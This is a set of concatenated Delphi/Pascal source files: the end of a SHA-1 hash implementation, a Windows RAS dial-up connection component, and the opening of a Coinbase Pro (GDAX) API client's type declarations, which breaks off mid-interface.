Tmp:= W[6] xor W[1] xor W[11] xor W[9]; W[9]:= (Tmp shl 1) or (Tmp shr 31); Inc(D,((E shl 5) or (E shr 27)) + ((A and B) or (C and (A or B))) + $8F1BBCDC + W[9]); A:= (A shl 30) or (A shr 2); {42} Tmp:= W[7] xor W[2] xor W[12] xor W[10]; W[10]:= (Tmp shl 1) or (Tmp shr 31); Inc(C,((D shl 5) or (D shr 27)) + ((E and A) or (B and (E or A))) + $8F1BBCDC + W[10]); E:= (E shl 30) or (E shr 2); {43} Tmp:= W[8] xor W[3] xor W[13] xor W[11]; W[11]:= (Tmp shl 1) or (Tmp shr 31); Inc(B,((C shl 5) or (C shr 27)) + ((D and E) or (A and (D or E))) + $8F1BBCDC + W[11]); D:= (D shl 30) or (D shr 2); {44} Tmp:= W[9] xor W[4] xor W[14] xor W[12]; W[12]:= (Tmp shl 1) or (Tmp shr 31); Inc(A,((B shl 5) or (B shr 27)) + ((C and D) or (E and (C or D))) + $8F1BBCDC + W[12]); C:= (C shl 30) or (C shr 2); {45} Tmp:= W[10] xor W[5] xor W[15] xor W[13]; W[13]:= (Tmp shl 1) or (Tmp shr 31); Inc(E,((A shl 5) or (A shr 27)) + ((B and C) or (D and (B or C))) + $8F1BBCDC + W[13]); B:= (B shl 30) or (B shr 2); {46} Tmp:= W[11] xor W[6] xor W[0] xor W[14]; W[14]:= (Tmp shl 1) or (Tmp shr 31); Inc(D,((E shl 5) or (E shr 27)) + ((A and B) or (C and (A or B))) + $8F1BBCDC + W[14]); A:= (A shl 30) or (A shr 2); {47} Tmp:= W[12] xor W[7] xor W[1] xor W[15]; W[15]:= (Tmp shl 1) or (Tmp shr 31); Inc(C,((D shl 5) or (D shr 27)) + ((E and A) or (B and (E or A))) + $8F1BBCDC + W[15]); E:= (E shl 30) or (E shr 2); {48} Tmp:= W[13] xor W[8] xor W[2] xor W[0]; W[0]:= (Tmp shl 1) or (Tmp shr 31); Inc(B,((C shl 5) or (C shr 27)) + ((D and E) or (A and (D or E))) + $8F1BBCDC + W[0]); D:= (D shl 30) or (D shr 2); {49} Tmp:= W[14] xor W[9] xor W[3] xor W[1]; W[1]:= (Tmp shl 1) or (Tmp shr 31); Inc(A,((B shl 5) or (B shr 27)) + ((C and D) or (E and (C or D))) + $8F1BBCDC + W[1]); C:= (C shl 30) or (C shr 2); {50} Tmp:= W[15] xor W[10] xor W[4] xor W[2]; W[2]:= (Tmp shl 1) or (Tmp shr 31); Inc(E,((A shl 5) or (A shr 27)) + ((B and C) or (D and (B or C))) + $8F1BBCDC + W[2]); B:= (B shl 30) or (B shr 2); {51} Tmp:= W[0] xor W[11] xor W[5] xor W[3]; W[3]:= (Tmp shl 1) or (Tmp shr 31); Inc(D,((E shl 5) or (E shr 27)) + ((A and B) or (C and (A or B))) + $8F1BBCDC + W[3]); A:= (A shl 30) or (A shr 2); {52} Tmp:= W[1] xor W[12] xor W[6] xor W[4]; W[4]:= (Tmp shl 1) or (Tmp shr 31); Inc(C,((D shl 5) or (D shr 27)) + ((E and A) or (B and (E or A))) + $8F1BBCDC + W[4]); E:= (E shl 30) or (E shr 2); {53} Tmp:= W[2] xor W[13] xor W[7] xor W[5]; W[5]:= (Tmp shl 1) or (Tmp shr 31); Inc(B,((C shl 5) or (C shr 27)) + ((D and E) or (A and (D or E))) + $8F1BBCDC + W[5]); D:= (D shl 30) or (D shr 2); {54} Tmp:= W[3] xor W[14] xor W[8] xor W[6]; W[6]:= (Tmp shl 1) or (Tmp shr 31); Inc(A,((B shl 5) or (B shr 27)) + ((C and D) or (E and (C or D))) + $8F1BBCDC + W[6]); C:= (C shl 30) or (C shr 2); {55} Tmp:= W[4] xor W[15] xor W[9] xor W[7]; W[7]:= (Tmp shl 1) or (Tmp shr 31); Inc(E,((A shl 5) or (A shr 27)) + ((B and C) or (D and (B or C))) + $8F1BBCDC + W[7]); B:= (B shl 30) or (B shr 2); {56} Tmp:= W[5] xor W[0] xor W[10] xor W[8]; W[8]:= (Tmp shl 1) or (Tmp shr 31); Inc(D,((E shl 5) or (E shr 27)) + ((A and B) or (C and (A or B))) + $8F1BBCDC + W[8]); A:= (A shl 30) or (A shr 2); {57} Tmp:= W[6] xor W[1] xor W[11] xor W[9]; W[9]:= (Tmp shl 1) or (Tmp shr 31); Inc(C,((D shl 5) or (D shr 27)) + ((E and A) or (B and (E or A))) + $8F1BBCDC + W[9]); E:= (E shl 30) or (E shr 2); {58} Tmp:= W[7] xor W[2] xor W[12] xor W[10]; W[10]:= (Tmp shl 1) or (Tmp shr 31); Inc(B,((C shl 5) or (C shr 27)) + ((D and E) or (A and (D or E))) + $8F1BBCDC + W[10]); D:= (D shl 30) or (D shr 2); {59} Tmp:= W[8] xor W[3] xor W[13] xor W[11]; W[11]:= (Tmp shl 1) or (Tmp shr 31); Inc(A,((B shl 5) or (B shr 27)) + ((C and D) or (E and (C or D))) + $8F1BBCDC + W[11]); C:= (C shl 30) or (C shr 2); {60} Tmp:= W[9] xor W[4] xor W[14] xor W[12]; W[12]:= (Tmp shl 1) or (Tmp shr 31); Inc(E,((A shl 5) or (A shr 27)) + (B xor C xor D) + $CA62C1D6 + W[12]); B:= (B shl 30) or (B shr 2); {61} Tmp:= W[10] xor W[5] xor W[15] xor W[13]; W[13]:= (Tmp shl 1) or (Tmp shr 31); Inc(D,((E shl 5) or (E shr 27)) + (A xor B xor C) + $CA62C1D6 + W[13]); A:= (A shl 30) or (A shr 2); {62} Tmp:= W[11] xor W[6] xor W[0] xor W[14]; W[14]:= (Tmp shl 1) or (Tmp shr 31); Inc(C,((D shl 5) or (D shr 27)) + (E xor A xor B) + $CA62C1D6 + W[14]); E:= (E shl 30) or (E shr 2); {63} Tmp:= W[12] xor W[7] xor W[1] xor W[15]; W[15]:= (Tmp shl 1) or (Tmp shr 31); Inc(B,((C shl 5) or (C shr 27)) + (D xor E xor A) + $CA62C1D6 + W[15]); D:= (D shl 30) or (D shr 2); {64} Tmp:= W[13] xor W[8] xor W[2] xor W[0]; W[0]:= (Tmp shl 1) or (Tmp shr 31); Inc(A,((B shl 5) or (B shr 27)) + (C xor D xor E) + $CA62C1D6 + W[0]); C:= (C shl 30) or (C shr 2); {65} Tmp:= W[14] xor W[9] xor W[3] xor W[1]; W[1]:= (Tmp shl 1) or (Tmp shr 31); Inc(E,((A shl 5) or (A shr 27)) + (B xor C xor D) + $CA62C1D6 + W[1]); B:= (B shl 30) or (B shr 2); {66} Tmp:= W[15] xor W[10] xor W[4] xor W[2]; W[2]:= (Tmp shl 1) or (Tmp shr 31); Inc(D,((E shl 5) or (E shr 27)) + (A xor B xor C) + $CA62C1D6 + W[2]); A:= (A shl 30) or (A shr 2); {67} Tmp:= W[0] xor W[11] xor W[5] xor W[3]; W[3]:= (Tmp shl 1) or (Tmp shr 31); Inc(C,((D shl 5) or (D shr 27)) + (E xor A xor B) + $CA62C1D6 + W[3]); E:= (E shl 30) or (E shr 2); {68} Tmp:= W[1] xor W[12] xor W[6] xor W[4]; W[4]:= (Tmp shl 1) or (Tmp shr 31); Inc(B,((C shl 5) or (C shr 27)) + (D xor E xor A) + $CA62C1D6 + W[4]); D:= (D shl 30) or (D shr 2); {69} Tmp:= W[2] xor W[13] xor W[7] xor W[5]; W[5]:= (Tmp shl 1) or (Tmp shr 31); Inc(A,((B shl 5) or (B shr 27)) + (C xor D xor E) + $CA62C1D6 + W[5]); C:= (C shl 30) or (C shr 2); {70} Tmp:= W[3] xor W[14] xor W[8] xor W[6]; W[6]:= (Tmp shl 1) or (Tmp shr 31); Inc(E,((A shl 5) or (A shr 27)) + (B xor C xor D) + $CA62C1D6 + W[6]); B:= (B shl 30) or (B shr 2); {71} Tmp:= W[4] xor W[15] xor W[9] xor W[7]; W[7]:= (Tmp shl 1) or (Tmp shr 31); Inc(D,((E shl 5) or (E shr 27)) + (A xor B xor C) + $CA62C1D6 + W[7]); A:= (A shl 30) or (A shr 2); {72} Tmp:= W[5] xor W[0] xor W[10] xor W[8]; W[8]:= (Tmp shl 1) or (Tmp shr 31); Inc(C,((D shl 5) or (D shr 27)) + (E xor A xor B) + $CA62C1D6 + W[8]); E:= (E shl 30) or (E shr 2); {73} Tmp:= W[6] xor W[1] xor W[11] xor W[9]; W[9]:= (Tmp shl 1) or (Tmp shr 31); Inc(B,((C shl 5) or (C shr 27)) + (D xor E xor A) + $CA62C1D6 + W[9]); D:= (D shl 30) or (D shr 2); {74} Tmp:= W[7] xor W[2] xor W[12] xor W[10]; W[10]:= (Tmp shl 1) or (Tmp shr 31); Inc(A,((B shl 5) or (B shr 27)) + (C xor D xor E) + $CA62C1D6 + W[10]); C:= (C shl 30) or (C shr 2); {75} Tmp:= W[8] xor W[3] xor W[13] xor W[11]; W[11]:= (Tmp shl 1) or (Tmp shr 31); Inc(E,((A shl 5) or (A shr 27)) + (B xor C xor D) + $CA62C1D6 + W[11]); B:= (B shl 30) or (B shr 2); {76} Tmp:= W[9] xor W[4] xor W[14] xor W[12]; W[12]:= (Tmp shl 1) or (Tmp shr 31); Inc(D,((E shl 5) or (E shr 27)) + (A xor B xor C) + $CA62C1D6 + W[12]); A:= (A shl 30) or (A shr 2); {77} Tmp:= W[10] xor W[5] xor W[15] xor W[13]; W[13]:= (Tmp shl 1) or (Tmp shr 31); Inc(C,((D shl 5) or (D shr 27)) + (E xor A xor B) + $CA62C1D6 + W[13]); E:= (E shl 30) or (E shr 2); {78} Tmp:= W[11] xor W[6] xor W[0] xor W[14]; W[14]:= (Tmp shl 1) or (Tmp shr 31); Inc(B,((C shl 5) or (C shr 27)) + (D xor E xor A) + $CA62C1D6 + W[14]); D:= (D shl 30) or (D shr 2); {79} Tmp:= W[12] xor W[7] xor W[1] xor W[15]; W[15]:= (Tmp shl 1) or (Tmp shr 31); Inc(A,((B shl 5) or (B shr 27)) + (C xor D xor E) + $CA62C1D6 + W[15]); C:= (C shl 30) or (C shr 2); FData.Digest[0]:= FData.Digest[0] + A; FData.Digest[1]:= FData.Digest[1] + B; FData.Digest[2]:= FData.Digest[2] + C; FData.Digest[3]:= FData.Digest[3] + D; FData.Digest[4]:= FData.Digest[4] + E; // FillChar(W, SizeOf(W), 0); FillChar(FData.Block, SizeOf(FData.Block), 0); end; {$ENDIF} {$ENDIF} class procedure TSHA1Alg.Init(Inst: PSHA1Alg); begin Inst.FData.Digest[0]:= $67452301; Inst.FData.Digest[1]:= $EFCDAB89; Inst.FData.Digest[2]:= $98BADCFE; Inst.FData.Digest[3]:= $10325476; Inst.FData.Digest[4]:= $C3D2E1F0; FillChar(Inst.FData.Block, SizeOf(Inst.FData.Block), 0); Inst.FData.Count:= 0; end; class procedure TSHA1Alg.Update(Inst: PSHA1Alg; Data: PByte; DataSize: Cardinal); var Cnt, Ofs: Cardinal; begin while DataSize > 0 do begin Ofs:= Cardinal(Inst.FData.Count) and $3F; Cnt:= $40 - Ofs; if Cnt > DataSize then Cnt:= DataSize; Move(Data^, PByte(@Inst.FData.Block)[Ofs], Cnt); if (Cnt + Ofs = $40) then Inst.Compress; Inc(Inst.FData.Count, Cnt); Dec(DataSize, Cnt); Inc(Data, Cnt); end; end; class procedure TSHA1Alg.Done(Inst: PSHA1Alg; PDigest: PSHA1Digest); var Ofs: Cardinal; begin Ofs:= Cardinal(Inst.FData.Count) and $3F; Inst.FData.Block[Ofs]:= $80; if Ofs >= 56 then Inst.Compress; Inst.FData.Count:= Inst.FData.Count shl 3; PUInt32(@Inst.FData.Block[56])^:= Swap32(UInt32(Inst.FData.Count shr 32)); PUInt32(@Inst.FData.Block[60])^:= Swap32(UInt32(Inst.FData.Count)); Inst.Compress; Inst.FData.Digest[0]:= Swap32(Inst.FData.Digest[0]); Inst.FData.Digest[1]:= Swap32(Inst.FData.Digest[1]); Inst.FData.Digest[2]:= Swap32(Inst.FData.Digest[2]); Inst.FData.Digest[3]:= Swap32(Inst.FData.Digest[3]); Inst.FData.Digest[4]:= Swap32(Inst.FData.Digest[4]); Move(Inst.FData.Digest, PDigest^, SizeOf(TSHA1Digest)); Init(Inst); end; class function TSHA1Alg.Duplicate(Inst: PSHA1Alg; var DupInst: PSHA1Alg): TF_RESULT; begin Result:= GetSHA1Algorithm(DupInst); if Result = TF_S_OK then DupInst.FData:= Inst.FData; end; class function TSHA1Alg.GetBlockSize(Inst: PSHA1Alg): Integer; begin Result:= 64; end; class function TSHA1Alg.GetDigestSize(Inst: PSHA1Alg): Integer; begin Result:= SizeOf(TSHA1Digest); end; end.
unit FFSRas; interface uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs, ras; type TFFSRas = class(TComponent) private hRasConn : THRASCONN; FUserName: string; FUserPass: string; FEntryName: string; FConnected: boolean; nRasConnCount : DWORD; aRasConn : array [0..10] of TRASCONN; procedure SetEntryName(const Value: string); procedure SetUserName(const Value: string); procedure SetUserPass(const Value: string); function GetActiveConnHandle(szName : String) : THRASCONN; procedure SetConnected(const Value: boolean); procedure GetActiveConn; { Private declarations } protected { Protected declarations } procedure DoConnect; procedure DoDisConnect; public { Public declarations } PhoneBook:TStringList; constructor create(AOwner:TComponent);override; destructor destroy;override; procedure LoadPhoneBook; published { Published declarations } property UserName:string read FUserName write SetUserName; property UserPass:string read FUserPass write SetUserPass; property EntryName:string read FEntryName write SetEntryName; property Connected:boolean read FConnected write SetConnected; end; procedure Register; implementation procedure Register; begin RegisterComponents('FFS Common', [TFFSRas]); end; { TFFSRas } var g_hWnd:HWND; procedure RasDialFunc(unMsg : DWORD; RasConnState : TRASCONNSTATE; dwError : DWORD); stdcall; begin PostMessage(g_hWnd, WM_RASDIALEVENT, RasConnState, dwError); end; procedure TFFSRas.DoConnect; var rdParams : TRASDIALPARAMS; dwRet : DWORD; Buf : array [0..255] of Char; begin hRasConn := GetActiveConnHandle(EntryName); if hRasConn <> 0 then Exit; // setup RAS Dial Parameters FillChar(rdParams, SizeOf(rdParams), 0); rdParams.dwSize := SizeOf(TRASDIALPARAMS); strCopy(rdParams.szUserName, PChar(UserName)); strCopy(rdParams.szPassword, PChar(UserPass)); strCopy(rdParams.szEntryName, PChar(EntryName)); rdParams.szPhoneNumber[0] := #0; rdParams.szCallbackNumber[0] := '*'; rdParams.szDomain := '*'; g_hWnd := Application.Handle; hRasConn := 0;; dwRet := RasDialA(nil, nil, @rdParams, 0, @RasDialFunc, @hRasConn); if dwRet <> 0 then begin RasGetErrorStringA(dwRet, @Buf[0], SizeOf(Buf)); end; end; procedure TFFSRas.GetActiveConn; var dwRet : DWORD; nCB : DWORD; Buf : array [0..255] of Char; begin aRasConn[0].dwSize := SizeOf(aRasConn[0]); nCB := SizeOf(aRasConn); dwRet := RasEnumConnectionsA(@aRasConn, @nCB, @nRasConnCount); if dwRet <> 0 then begin RasGetErrorStringA(dwRet, @Buf[0], SizeOf(Buf)); // LogMessage(Buf); end; end; function TFFSRas.GetActiveConnHandle(szName: String): THRASCONN; var I : Integer; begin GetActiveConn; if nRasConnCount > 0 then begin for I := 0 to nRasConnCount - 1 do begin if StrIComp(PChar(szName), aRasConn[I].szEntryName) = 0 then begin Result := aRasConn[I].hRasConn; Exit; end; end; end; Result := 0; end; procedure TFFSRas.SetConnected(const Value: boolean); begin if fConnected = Value then exit; FConnected := Value; if value then DoConnect else DoDisConnect; end; procedure TFFSRas.SetEntryName(const Value: string); begin FEntryName := Value; end; procedure TFFSRas.SetUserName(const Value: string); begin FUserName := Value; end; procedure TFFSRas.SetUserPass(const Value: string); begin FUserPass := Value; end; procedure TFFSRas.LoadPhoneBook; var Entries : array [0..15] of TRASENTRYNAME; cb : DWORD; cEntries : DWORD; dwRet : DWORD; Buf : array [0..127] of char; I : Integer; begin FillChar(Entries, SizeOf(Entries), 0); Entries[0].dwSize := SizeOf(TRASENTRYNAME); cb := SizeOf(Entries); cEntries := 0; dwRet := RasEnumEntriesA(NIL, NIL, @Entries[0], @cb, @cEntries); if dwRet <> 0 then begin RasGetErrorStringA(dwRet, @Buf[0], SizeOf(Buf)); // LogMessage(Buf); end; PhoneBook.Clear;// EntryNameComboBox.Items.Clear; for I := 0 to cEntries - 1 do PhoneBook.Add(Entries[I].szEntryName); end; constructor TFFSRas.create(AOwner: TComponent); begin inherited; PhoneBook := TStringlist.create; end; destructor TFFSRas.destroy; begin PhoneBook.free; inherited; end; procedure TFFSRas.DoDisConnect; begin if hRasConn <> 0 then begin RasHangUpA(hRasConn); hRasConn := 0; end; end; end.
{ GDAX/Coinbase-Pro client library Copyright (c) 2018 mr-highball Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. } unit gdax.api.types; {$i gdax.inc} interface uses Classes,SysUtils,gdax.api.consts, {$IFDEF FPC} fgl {$ELSE} System.Collections.Generics {$ENDIF}; type //forward IGDAXTime = interface; { IGDAXAuthenticator } IGDAXAuthenticator = interface ['{0AEA765A-8393-4B9B-9749-B180939ACA72}'] //property methods function GetKey: String; function GetMode: TGDAXApi; function GetPassphrase: String; function GetSecret: String; function GetTime: IGDAXTime; function GetUseLocalTime: Boolean; procedure SetKey(Const AValue: String); procedure SetMode(Const AValue: TGDAXApi); procedure SetPassphrase(Const AValue: String); procedure SetSecret(Const AValue: String); procedure SetUseLocalTime(Const AValue: Boolean); //properties property Key: String read GetKey write SetKey; property Secret: String read GetSecret write SetSecret; property Passphrase: String read GetPassphrase write SetPassphrase; property UseLocalTime: Boolean read GetUseLocalTime write SetUseLocalTime; property Mode: TGDAXApi read GetMode write SetMode; //methods procedure BuildHeaders(Const AOutput:TStrings;Const ASignature:String; Const AEpoch:Integer); function GenerateAccessSignature(Const AOperation:TRestOperation; Const ARequestPath:String;Out Epoch:Integer;Const ARequestBody:String=''):String; end; TGDAXPageDirection = (pdBefore,pdAfter); TPageLimit = 0..100; { IGDAXPaged } IGDAXPaged = interface ['{6A335FAA-FF81-4DD4-8444-8B0A121651B8}'] //property methods function GetLastAfterID: Integer; function GetLastBeforeID: Integer; //properties property LastBeforeID:Integer read GetLastBeforeID; property LastAfterID:Integer read GetLastAfterID; //methods function Move(Const ADirection:TGDAXPageDirection;Out Error:String; Const ALastBeforeID,ALastAfterID:Integer; Const ALimit:TPageLimit=0):Boolean;overload; function Move(Const ADirection:TGDAXPageDirection;Out Error:String; Const ALimit:TPageLimit=0):Boolean;overload; function Move(Const ADirection:TGDAXPageDirection; Const ALimit:TPageLimit=0):Boolean;overload; end; { IGDAXRestAPI } IGDAXRestAPI = interface ['{08E2B6BA-3FF0-4FC8-91E2-D180C57997A6}'] //property methods function GetAuthenticator: IGDAXAuthenticator; function GetPostBody: String; function GetSupportedOperations: TRestOperations; procedure SetAuthenticator(Const AValue: IGDAXAuthenticator); //properties property SupportedOperations: TRestOperations read GetSupportedOperations; property Authenticator: IGDAXAuthenticator read GetAuthenticator write SetAuthenticator; property PostBody : String read GetPostBody; //methods function Post(Out Content:String;Out Error:String):Boolean; function Get(Out Content:String;Out Error:String):Boolean; function Delete(Out Content:String;Out Error:String):Boolean; function LoadFromJSON(Const AJSON:String;Out Error:String):Boolean; end; { IGDAXTime } IGDAXTime = interface(IGDAXRestAPI) ['{5464CEE5-520D-44FF-B3A5-F119D160FB29}'] //property methods function GetEpoch: Extended; function GetISO: String; procedure SetEpoch(Const AValue: Extended); procedure SetISO(Const AValue: String); //properties property ISO: String read GetISO write SetISO; property Epoch: Extended read GetEpoch write SetEpoch; end; { TLedgerEntry } TLedgerEntry = packed record public const PROP_ID = 'id'; PROP_CREATE = 'created_at'; PROP_AMOUNT = 'amount'; PROP_BALANCE = 'balance'; PROP_TYPE = 'type'; PROP_DETAILS = 'details'; type { TDetails } TDetails = packed record private FOrderID: String; FProductID: String; FTradeID: String; public const PROP_ORDER_ID = 'order_id'; PROP_TRADE_ID = 'trade_id'; PROP_PROD_ID = 'product_id'; public property OrderID : String read FOrderID write FOrderID; property TradeID : String read FTradeID write FTradeID; property ProductID : String read FProductID write FProductID; constructor Create(Const AJSON:String); end; private FAmount: Extended; FBalance: Extended; FCreated: TDateTime; FCreatedAt: TDateTime; FDetails: TDetails; FID: String; FLedgerType: TLedgerType; public property ID : String read FID write FID; property CreatedAt : TDateTime read FCreatedAt write FCreated; property Amount : Extended read FAmount write FAmount; property Balance : Extended read FBalance write FBalance; property LedgerType : TLedgerType read FLedgerType write FLedgerType; property Details : TDetails read FDetails write FDetails; constructor Create(Const AJSON:String); end; TLedgerEntryArray = array of TLedgerEntry; { IGDAXAccountLedger } IGDAXAccountLedger = interface(IGDAXRestAPI) ['{FA730CEB-6508-4613-BD65-C633217E677F}'] //property methods function GetAcctID: String; function GetCount: Cardinal; function GetEntries: TLedgerEntryArray; function GetPaged: IGDAXPaged; procedure SetAcctID(Const AValue: String); //properties property AcctID: String read GetAcctID write SetAcctID; property Paged: IGDAXPaged read GetPaged; property Entries: TLedgerEntryArray read GetEntries; property Count: Cardinal read GetCount; //methods procedure ClearEntries; end; { IGDAXAccount } IGDAXAccount = interface(IGDAXRestAPI) ['{01D88E69-F15F-4603-914F-4C87270B2165}'] //property methods function GetAcctID: String; function GetAvailable: Extended; function GetBalance: Extended; function GetCurrency: String; function GetHolds: Extended; procedure SetAcctID(Const AValue: String); procedure SetAvailable(Const AValue: Extended); procedure SetBalance(Const AValue: Extended); procedure SetCurrency(Const AValue: String); procedure SetHolds(Const AValue: Extended); //properties property AcctID: String read GetAcctID write SetAcctID; property Currency: String read GetCurrency write SetCurrency; property Balance: Extended read GetBalance write SetBalance; property Holds: Extended read GetHolds write SetHolds; property Available: Extended read GetAvailable write SetAvailable; end; { TGDAXAccountList } TGDAXAccountList = {$IFDEF FPC} TFPGInterfacedObjectList<IGDAXAccount> {$ELSE} TInterfaceList<IGDAXAccount> {$ENDIF}; { IGDAXAccounts } IGDAXAccounts = interface(IGDAXRestAPI) ['{C5C55A92-9541-4E0A-8593-3F4B8E8A85FF}'] //property methods function GetAccounts: TGDAXAccountList; //properties property Accounts : TGDAXAccountList read GetAccounts; end; { TBookEntry } TBookEntry = class(TObject) private FPrice: Extended; FSize: Extended; FSide: TOrderSide; function GetPrice: Extended; function GetSize: Extended; procedure SetPrice(Const Value: Extended); procedure SetSize(Const Value: Extended); function GetSide: TOrderSide; procedure SetSide(Const Value: TOrderSide); protected public property Price: Extended read GetPrice write SetPrice; property Size: Extended read GetSize write SetSize; property Side: TOrderSide read GetSide write SetSide; constructor Create(Const APrice:Single;Const ASize:Extended);overload; end; { TAggregatedEntry } TAggregatedEntry = class(TBookEntry) private FNumberOrders: Cardinal; function GetNumberOrders: Integer; procedure SetNumberOrders(Const Value: Integer); public property NumberOrders: Integer read GetNumberOrders write SetNumberOrders; constructor Create(Const APrice:Extended;Const ASize:Extended; Const ANumberOrders:Cardinal);overload; end; { TFullEntry } TFullEntry = class(TBookEntry) private FOrderID: String; function GetOrderID: String; procedure SetOrderID(Const Value: String); public property OrderID: String read GetOrderID write SetOrderID; constructor Create(Const APrice:Single;Const ASize:Extended;Const AOrderID:String);overload; end; { IGDAXProduct } IGDAXProduct = interface(IGDAXRestAPI) ['{3750A665-E21B-4254-8B24-9615356A487F}'] //property methods function GetBaseCurrency: String; function GetBaseMaxSize: Extended; function GetBaseMinSize: Extended; function GetID: String; function GetMaxMarket: Extended; function GetMinMarket: Extended; function GetQuoteCurrency: String; function GetQuoteIncrement: Extended; procedure SetBaseCurrency(Const AValue: String); procedure SetBaseMaxSize(Const AValue: Extended); procedure SetBaseMinSize(Const AValue: Extended); procedure SetID(Const AValue: String); procedure SetMaxMarket(const AValue: Extended); procedure SetMinMarket(const AValue: Extended); procedure SetQuoteCurrency(Const AValue: String); procedure SetQuoteIncrement(Const AValue: Extended); //properties property ID : String read GetID write SetID; property BaseCurrency : String read GetBaseCurrency write SetBaseCurrency; property QuoteCurrency : String read GetQuoteCurrency write SetQuoteCurrency; property BaseMinSize : Extended read GetBaseMinSize write SetBaseMinSize; property BaseMaxSize : Extended read GetBaseMaxSize write SetBaseMaxSize; property QuoteIncrement : Extended read GetQuoteIncrement write SetQuoteIncrement; property MinMarketFunds : Extended read GetMinMarket write SetMinMarket; property MaxMarketFunds : Extended read GetMaxMarket write SetMaxMarket; end; { TGDAXProductList } TGDAXProductList = {$IFDEF FPC} TFPGInterfacedObjectList<IGDAXProduct> {$ELSE} TInterfacedList<IGDAXProduct> {$ENDIF}; { IGDAXProducts } IGDAXProducts = interface(IGDAXRestAPI) ['{B64F0413-DD15-4488-AB8E-0DE8E4BEC936}'] //property methods function GetProducts: TGDAXProductList; function GetQuoteCurrency: String; procedure SetQuoteCurrency(Const AValue: String); //properties property QuoteCurrency : String read GetQuoteCurrency write SetQuoteCurrency; property Products : TGDAXProductList read GetProducts; end; TGDAXBookEntryList = {$IFDEF FPC} TFPGObjectList<TBookEntry> {$ELSE} TObjectList<TBookEntry> {$ENDIF}; { IGDAXBook } IGDAXBook = interface(IGDAXRestAPI) ['{CDC9A578-AF7B-4D94-B8AC-0D876059ACCF}'] //property methods function GetAskList: TGDAXBookEntryList; function GetAskSize: Single; function GetBidList: TGDAXBookEntryList; function GetBidSize: Single; function GetLevel: TGDAXBookLevel; function GetMarketType: TMarketType; function GetProduct: IGDAXProduct; procedure SetLevel(Const AValue: TGDAXBookLevel); procedure SetProduct(Const AValue: IGDAXProduct); //properties property Level: TGDAXBookLevel read GetLevel write SetLevel; property Product: IGDAXProduct read GetProduct write SetProduct; property AskList: TGDAXBookEntryList read GetAskList; property BidList: TGDAXBookEntryList read GetBidList; property MarketType: TMarketType read GetMarketType; property AskSize: Single read GetAskSize; property BidSize: Single read GetBidSize; end; { TCandleBucket } TCandleBucket = record private FTime: Extended; FLow: Extended; FHigh: Extended; FOpen: Extended; FClose: Extended; FVolume: Extended; function GetTime: Extended; procedure SetTime(Const Value: Extended); function GetLow: Extended; procedure SetLow(Const Value: Extended); function GetHigh: Extended; procedure SetHigh(Const Value: Extended); function GetOpen: Extended; procedure SetOpen(Const Value: Extended); function GetClose: Extended; procedure SetClose(Const Value: Extended); function GetVolume: Extended; procedure SetVolume(Const Value: Extended); public property Time: Extended read GetTime write SetTime; property Low: Extended read GetLow write SetLow; property High: Extended read GetHigh write SetHigh; property Open: Extended read GetOpen write SetOpen; property Close: Extended read GetClose write SetClose; property Volume: Extended read GetVolume write SetVolume; constructor create(Const ATime:Extended;ALow,AHigh,AOpen,AClose:Extended; AVolume:Extended); class operator Equal(Const A,B:TCandleBucket):Boolean; end; TGDAXCandleBucketList = {$IFDEF FPC} TFPGList<TCandleBucket> {$ELSE} TList<TCandleBucket> {$ENDIF}; { IGDAXCandles } IGDAXCandles = interface(IGDAXRestAPI) ['{7CEBB745-B371-4C0F-A598-B22B5F8AA97D}'] //property methods function GetEndTime: TDatetime; function GetGranularity: Cardinal; function GetList: TGDAXCandleBucketList; function GetProduct: IGDAXProduct; function GetStartTime: TDatetime; procedure SetEndTime(Const AValue: TDatetime); procedure SetGranularity(Const AValue: Cardinal); procedure SetProduct(Const AValue: IGDAXProduct); procedure SetStartTime(Const AValue: TDatetime); //properties property Product: IGDAXProduct read GetProduct write SetProduct; property StartTime: TDatetime read GetStartTime write SetStartTime; property Granularity: Cardinal read GetGranularity write SetGranularity; property EndTime: TDatetime read GetEndTime write SetEndTime; property List: TGDAXCandleBucketList read GetList; end; { TFillEntry } TFillEntry = packed record private FCreatedAt: TDateTime; FFee: Extended; FLiquidity: Char; FOrderID: String; FPrice: Extended; FProductID: String; FSettled: Boolean; FSide: TOrderSide; FSize: Extended; FTradeID: Cardinal; public const PROP_ID = 'trade_id'; PROP_PROD = 'product_id'; PROP_PRICE = 'price'; PROP_SIZE = 'size'; PROP_ORDER = 'order_id'; PROP_CREATE = 'created_at'; PROP_LIQUID = 'liquidity'; PROP_FEE = 'fee'; PROP_SETTLED = 'settled'; PROP_SIDE = 'side'; public property TradeID: Cardinal read FTradeID write FTradeID; property ProductID: String read FProductID write FProductID; property Price: Extended read FPrice write FPrice; property Size: Extended read FSize write FSize; property OrderID: String read FOrderID write FOrderID; property CreatedAt: TDateTime read FCreatedAt write FCreatedAt; property Liquidity: Char read FLiquidity write FLiquidity; property Fee: Extended read FFee write FFee; property Settled: Boolean read FSettled write FSettled; property Side: TOrderSide read FSide write FSide; constructor Create(Const AJSON:String); end; TFillEntryArray = array of TFillEntry; { IGDAXFills } IGDAXFills = interface(IGDAXRestAPI) ['{2B6DDB92-9716-4ACB-932C-4D614614739D}'] //property methods function GetCount: Cardinal; function GetPaged: IGDAXPaged; function GetProductID: String; function GetOrderID: String; function GetEntries: TFillEntryArray; function GetTotalFees(Const ASides: TOrderSides): Extended; function GetTotalPrice(Const ASides: TOrderSides): Extended; function GetTotalSize(Const ASides: TOrderSides): Extended; procedure SetOrderID(Const AValue: String); procedure SetProductID(Const AValue: String); //properties property Paged: IGDAXPaged read GetPaged; property Entries: TFillEntryArray read GetEntries; property Count: Cardinal read 